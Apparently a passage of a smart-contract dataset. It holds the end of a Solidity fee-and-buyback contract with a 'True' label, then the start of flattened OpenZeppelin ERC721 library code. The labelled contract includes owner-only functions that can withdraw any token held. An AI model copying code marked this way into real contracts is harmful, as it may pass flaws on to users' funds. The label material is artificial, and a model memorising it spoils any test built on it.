function handleEthFee(uint feeAmount, uint _amountOutMin_ethFeeBuyBack, uint deadline) private {
require(feeAmount >= MIN_ETH_FEE_IN_WEI, "Insufficient ETH Fee!");
uint buyBackFeeAmount = feeAmount.mul(FEE_PERCENT_TO_BUYBACK_X_100).div(ONE_HUNDRED_X_100);
uint remainingFeeAmount = feeAmount.sub(buyBackFeeAmount);
// handle distribution
distributeEthDivs(remainingFeeAmount);
// handle buyback
// --- swap eth to platform token here! ----
uint oldPlatformTokenBalance = IERC20(TRUSTED_PLATFORM_TOKEN_ADDRESS).balanceOf(address(this));
address[] memory path = new address[](2);
path[0] = uniswapRouterV2.WETH();
path[1] = TRUSTED_PLATFORM_TOKEN_ADDRESS;
uniswapRouterV2.swapExactETHForTokens{value: buyBackFeeAmount}(_amountOutMin_ethFeeBuyBack, path, address(this), deadline);
uint newPlatformTokenBalance = IERC20(TRUSTED_PLATFORM_TOKEN_ADDRESS).balanceOf(address(this));
uint platformTokensReceived = newPlatformTokenBalance.sub(oldPlatformTokenBalance);
IERC20(TRUSTED_PLATFORM_TOKEN_ADDRESS).safeTransfer(BURN_ADDRESS, platformTokensReceived);
// ---- end swap eth to plaform tokens -----
}
receive () external payable {
// receive eth do nothing
}
function increaseTokenBalance(address token, uint amount) private {
tokenBalances[token] = tokenBalances[token].add(amount);
}
function decreaseTokenBalance(address token, uint amount) private {
tokenBalances[token] = tokenBalances[token].sub(amount);
}
function addPlatformTokenBalance(uint amount) external nonReentrant onlyOwner {
increaseTokenBalance(TRUSTED_PLATFORM_TOKEN_ADDRESS, amount);
IERC20(TRUSTED_PLATFORM_TOKEN_ADDRESS).safeTransferFrom(msg.sender, address(this), amount);
emit PlatformTokenAdded(amount);
}
function claimExtraTokens(address token) external nonReentrant onlyOwner {
if (token == address(0)) {
uint ethDiff = address(this).balance.sub(tokenBalances[token]);
msg.sender.transfer(ethDiff);
return;
}
uint diff = IERC20(token).balanceOf(address(this)).sub(tokenBalances[token]);
IERC20(token).safeTransfer(msg.sender, diff);
}
function claimAnyToken(address token, uint amount) external onlyOwner {
require(now > contractStartTime.add(ADMIN_CAN_CLAIM_AFTER), "Contract not expired yet!");
if (token == address(0)) {
msg.sender.transfer(amount);
return;
}
IERC20(token).safeTransfer(msg.sender, amount);
}
}
|
True
|
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102
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// File: @openzeppelin/contracts/GSN/Context.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
// silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/introspection/IERC165.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transfered from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Metadata.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Enumerable.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data)
external returns (bytes4);
}
// File: @openzeppelin/contracts/introspection/ERC165.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts may inherit from this and call {_registerInterface} to declare
* their support of an interface.
*/
contract ERC165 is IERC165 {
/*
* bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7
*/
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
/**
* @dev Mapping of interface ids to whether or not it's supported.
*/
mapping(bytes4 => bool) private _supportedInterfaces;
constructor () internal {
// Derived contracts need only register support for their own interfaces,
// we register support for ERC165 itself here
_registerInterface(_INTERFACE_ID_ERC165);
}
/**
* @dev See {IERC165-supportsInterface}.
*
* Time complexity O(1), guaranteed to always use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) public view override returns (bool) {
return _supportedInterfaces[interfaceId];
}
/**
* @dev Registers the contract as an implementer of the interface defined by
* `interfaceId`. Support of the actual ERC165 interface is automatic and
* registering its interface id is not required.
*
* See {IERC165-supportsInterface}.
*
* Requirements:
*
* - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`).
*/
function _registerInterface(bytes4 interfaceId) internal virtual {
require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
}
// File: @openzeppelin/contracts/math/SafeMath.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {codehash := extcodehash(account)}
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{value : amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value : weiValue}(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/utils/EnumerableSet.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping(bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {// Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1;
// All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// File: @openzeppelin/contracts/utils/EnumerableMap.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Library for managing an enumerable variant of Solidity's
* https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`]
* type.
*
* Maps have the following properties:
*
* - Entries are added, removed, and checked for existence in constant time
* (O(1)).
* - Entries are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableMap for EnumerableMap.UintToAddressMap;
*
* // Declare a set state variable
* EnumerableMap.UintToAddressMap private myMap;
* }
* ```
*
* As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are
* supported.
*/
library EnumerableMap {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Map type with
// bytes32 keys and values.
// The Map implementation uses private functions, and user-facing
// implementations (such as Uint256ToAddressMap) are just wrappers around
// the underlying Map.
// This means that we can only create new EnumerableMaps for types that fit
// in bytes32.
struct MapEntry {
bytes32 _key;
bytes32 _value;
}
struct Map {
// Storage of map keys and values
MapEntry[] _entries;
// Position of the entry defined by a key in the `entries` array, plus 1
// because index 0 means a key is not in the map.
mapping(bytes32 => uint256) _indexes;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) {// Equivalent to !contains(map, key)
map._entries.push(MapEntry({_key : key, _value : value}));
// The entry is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
map._indexes[key] = map._entries.length;
return true;
} else {
map._entries[keyIndex - 1]._value = value;
return false;
}
}
/**
* @dev Removes a key-value pair from a map. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function _remove(Map storage map, bytes32 key) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex != 0) {// Equivalent to contains(map, key)
// To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one
// in the array, and then remove the last entry (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = keyIndex - 1;
uint256 lastIndex = map._entries.length - 1;
// When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
MapEntry storage lastEntry = map._entries[lastIndex];
// Move the last entry to the index where the entry to delete is
map._entries[toDeleteIndex] = lastEntry;
// Update the index for the moved entry
map._indexes[lastEntry._key] = toDeleteIndex + 1;
// All indexes are 1-based
// Delete the slot where the moved entry was stored
map._entries.pop();
// Delete the index for the deleted slot
delete map._indexes[key];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function _contains(Map storage map, bytes32 key) private view returns (bool) {
return map._indexes[key] != 0;
}
/**
* @dev Returns the number of key-value pairs in the map. O(1).
*/
function _length(Map storage map) private view returns (uint256) {
return map._entries.length;
}
/**
* @dev Returns the key-value pair stored at position `index` in the map. O(1).
*
* Note that there are no guarantees on the ordering of entries inside the
* array, and it may change when more entries are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) {
require(map._entries.length > index, "EnumerableMap: index out of bounds");
MapEntry storage entry = map._entries[index];
return (entry._key, entry._value);
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function _get(Map storage map, bytes32 key) private view returns (bytes32) {
return _get(map, key, "EnumerableMap: nonexistent key");
}
/**
* @dev Same as {_get}, with a custom error message when `key` is not in the map.
*/
function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, errorMessage);
// Equivalent to contains(map, key)
return map._entries[keyIndex - 1]._value;
// All indexes are 1-based
}
// UintToAddressMap
struct UintToAddressMap {
Map _inner;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) {
return _set(map._inner, bytes32(key), bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) {
return _remove(map._inner, bytes32(key));
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) {
return _contains(map._inner, bytes32(key));
}
/**
* @dev Returns the number of elements in the map. O(1).
*/
function length(UintToAddressMap storage map) internal view returns (uint256) {
return _length(map._inner);
}
/**
* @dev Returns the element stored at position `index` in the set. O(1).
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) {
(bytes32 key, bytes32 value) = _at(map._inner, index);
return (uint256(key), address(uint256(value)));
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function get(UintToAddressMap storage map, uint256 key) internal view returns (address) {
return address(uint256(_get(map._inner, bytes32(key))));
}
/**
* @dev Same as {get}, with a custom error message when `key` is not in the map.
*/
function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) {
return address(uint256(_get(map._inner, bytes32(key), errorMessage)));
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev String operations.
*/
library Strings {
/**
* @dev Converts a `uint256` to its ASCII `string` representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
uint256 index = digits - 1;
temp = value;
while (temp != 0) {
buffer[index--] = byte(uint8(48 + temp % 10));
temp /= 10;
}
return string(buffer);
}
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @title ERC721 Non-Fungible Token Standard basic implementation
* @dev see https://eips.ethereum.org/EIPS/eip-721
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable {
using SafeMath for uint256;
using Address for address;
